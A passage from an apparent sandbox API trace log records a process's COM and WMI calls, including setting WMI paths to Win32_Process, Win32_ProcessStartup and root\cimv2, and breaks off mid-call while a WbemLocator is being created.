WbemDefPath:IUnknown:Release (This=0x1c000b60) returned 0x0 [0078.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc9c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bfbc9c0) returned 0x0 [0078.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc9c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0078.718] WbemDefPath:IUnknown:AddRef (This=0x1bfbc9c0) returned 0x3 [0078.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc9c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0078.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc9c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0078.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc9c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c000ba0) returned 0x0 [0078.718] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000ba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.718] WbemDefPath:IUnknown:Release (This=0x1c000ba0) returned 0x3 [0078.718] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0078.718] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0078.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc9c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0078.718] WbemDefPath:IUnknown:Release (This=0x1bfbc9c0) returned 0x2 [0078.718] WbemDefPath:IUnknown:Release (This=0x1bfbc9c0) returned 0x1 [0078.718] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0078.718] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0078.718] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc9c0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bfbc9c0) returned 0x0 [0078.719] WbemDefPath:IUnknown:AddRef (This=0x1bfbc9c0) returned 0x3 [0078.719] WbemDefPath:IUnknown:Release (This=0x1bfbc9c0) returned 0x2 [0078.719] WbemDefPath:IWbemPath:SetText (This=0x1bfbc9c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0078.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc9c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0078.719] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc9c0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0078.719] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc9c0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0078.719] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc9c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0078.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc9c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0078.719] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbc9c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0078.719] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0078.719] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0078.719] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0078.719] IUnknown:Release (This=0x111f638) returned 0x1 [0078.722] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c000be0) returned 0x0 [0078.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000be0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0078.722] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000be0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bfbca80) returned 0x0 [0078.722] WbemDefPath:IUnknown:Release (This=0x1c000be0) returned 0x0 [0078.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbca80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bfbca80) returned 0x0 [0078.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbca80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0078.723] WbemDefPath:IUnknown:AddRef (This=0x1bfbca80) returned 0x3 [0078.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbca80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0078.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbca80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0078.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbca80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c000c20) returned 0x0 [0078.723] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000c20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.723] WbemDefPath:IUnknown:Release (This=0x1c000c20) returned 0x3 [0078.723] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0078.723] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0078.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbca80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0078.723] WbemDefPath:IUnknown:Release (This=0x1bfbca80) returned 0x2 [0078.723] WbemDefPath:IUnknown:Release (This=0x1bfbca80) returned 0x1 [0078.723] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0078.723] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0078.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbca80, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bfbca80) returned 0x0 [0078.723] WbemDefPath:IUnknown:AddRef (This=0x1bfbca80) returned 0x3 [0078.723] WbemDefPath:IUnknown:Release (This=0x1bfbca80) returned 0x2 [0078.723] WbemDefPath:IWbemPath:SetText (This=0x1bfbca80, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0078.723] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbca80, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbca80, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbca80, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbca80, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbca80, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbca80, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbca80, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0078.724] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.724] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0078.724] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0078.724] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0078.724] IUnknown:Release (This=0x111f638) returned 0x1 [0078.728] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c000c60) returned 0x0 [0078.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000c60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0078.728] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000c60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bfbcb40) returned 0x0 [0078.728] WbemDefPath:IUnknown:Release (This=0x1c000c60) returned 0x0 [0078.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcb40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bfbcb40) returned 0x0 [0078.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcb40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0078.729] WbemDefPath:IUnknown:AddRef (This=0x1bfbcb40) returned 0x3 [0078.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcb40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0078.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcb40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0078.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcb40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c000ca0) returned 0x0 [0078.729] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000ca0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.729] WbemDefPath:IUnknown:Release (This=0x1c000ca0) returned 0x3 [0078.729] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0078.729] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0078.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcb40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0078.729] WbemDefPath:IUnknown:Release (This=0x1bfbcb40) returned 0x2 [0078.729] WbemDefPath:IUnknown:Release (This=0x1bfbcb40) returned 0x1 [0078.729] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0078.729] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0078.730] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcb40, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bfbcb40) returned 0x0 [0078.730] WbemDefPath:IUnknown:AddRef (This=0x1bfbcb40) returned 0x3 [0078.730] WbemDefPath:IUnknown:Release (This=0x1bfbcb40) returned 0x2 [0078.730] WbemDefPath:IWbemPath:SetText (This=0x1bfbcb40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0078.730] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcb40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0078.730] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcb40, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0078.730] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcb40, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.730] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0078.730] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0078.730] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0078.730] IUnknown:Release (This=0x111f638) returned 0x1 [0078.731] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c000da0) returned 0x0 [0078.731] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000da0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0078.731] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c000da0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c000dc0) returned 0x0 [0078.731] WbemLocator:IUnknown:Release (This=0x1c000da0) returned 0x0 [0078.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000dc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c000dc0) returned 0x0 [0078.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000dc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0078.732] WbemLocator:IUnknown:AddRef (This=0x1c000dc0) returned 0x3 [0078.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000dc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0078.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000dc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0078.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000dc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0078.732] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0078.732] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0078.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000dc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0078.732] WbemLocator:IUnknown:Release (This=0x1c000dc0) returned 0x2 [0078.732] WbemLocator:IUnknown:Release (This=0x1c000dc0) returned 0x1 [0078.732] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0078.733] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0078.733] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000dc0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c000dc0) returned 0x0 [0078.733] WbemLocator:IUnknown:AddRef (This=0x1c000dc0) returned 0x3 [0078.733] WbemLocator:IUnknown:Release (This=0x1c000dc0) returned 0x2 [0078.733] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcb40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0078.733] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcb40, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0078.733] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcb40, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.733] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, 